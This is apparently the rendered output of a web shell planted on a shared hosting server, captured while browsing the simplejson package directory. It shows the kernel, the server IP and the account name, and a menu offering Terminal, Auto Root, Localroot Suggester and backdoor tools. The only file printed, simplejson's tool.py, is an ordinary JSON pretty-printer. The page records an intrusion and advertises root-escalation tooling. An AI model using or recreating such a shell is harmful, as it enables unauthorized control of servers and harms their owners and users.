Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python2.7 /
site-packages /
simplejson /
Delete
Unzip
Name
Size
Permission
Date
Action
tests
[ DIR ]
drwxr-xr-x
2021-10-17 04:05
__init__.py
23.14
KB
-rw-r--r--
2017-06-19 16:11
__init__.pyc
21.39
KB
-rw-r--r--
2021-10-07 23:49
__init__.pyo
21.39
KB
-rw-r--r--
2021-10-07 23:49
_speedups.so
46.59
KB
-rwxr-xr-x
2021-10-07 23:49
compat.py
931
B
-rw-r--r--
2016-10-20 22:58
compat.pyc
1.65
KB
-rw-r--r--
2021-10-07 23:49
compat.pyo
1.65
KB
-rw-r--r--
2021-10-07 23:49
decoder.py
14.24
KB
-rw-r--r--
2017-06-19 14:13
decoder.pyc
12.2
KB
-rw-r--r--
2021-10-07 23:49
decoder.pyo
12.2
KB
-rw-r--r--
2021-10-07 23:49
encoder.py
26.84
KB
-rw-r--r--
2017-06-19 14:13
encoder.pyc
21.08
KB
-rw-r--r--
2021-10-07 23:49
encoder.pyo
21.08
KB
-rw-r--r--
2021-10-07 23:49
ordered_dict.py
2.88
KB
-rw-r--r--
2017-06-19 14:13
ordered_dict.pyc
4.75
KB
-rw-r--r--
2021-10-07 23:49
ordered_dict.pyo
4.75
KB
-rw-r--r--
2021-10-07 23:49
scanner.py
4.54
KB
-rw-r--r--
2014-07-22 16:30
scanner.pyc
4.98
KB
-rw-r--r--
2021-10-07 23:49
scanner.pyo
4.98
KB
-rw-r--r--
2021-10-07 23:49
tool.py
1.11
KB
-rw-r--r--
2014-08-09 22:31
tool.pyc
1.41
KB
-rw-r--r--
2021-10-07 23:49
tool.pyo
1.41
KB
-rw-r--r--
2021-10-07 23:49
Save
Rename
r"""Command-line tool to validate and pretty-print JSON Usage:: $ echo '{"json":"obj"}' | python -m simplejson.tool { "json": "obj" } $ echo '{ 1.2:3.4}' | python -m simplejson.tool Expecting property name: line 1 column 2 (char 2) """ from __future__ import with_statement import sys import simplejson as json def main(): if len(sys.argv) == 1: infile = sys.stdin outfile = sys.stdout elif len(sys.argv) == 2: infile = open(sys.argv[1], 'r') outfile = sys.stdout elif len(sys.argv) == 3: infile = open(sys.argv[1], 'r') outfile = open(sys.argv[2], 'w') else: raise SystemExit(sys.argv[0] + " [infile [outfile]]") with infile: try: obj = json.load(infile, object_pairs_hook=json.OrderedDict, use_decimal=True) except ValueError: raise SystemExit(sys.exc_info()[1]) with outfile: json.dump(obj, outfile, sort_keys=True, indent=' ', use_decimal=True) outfile.write('\n') if __name__ == '__main__': main()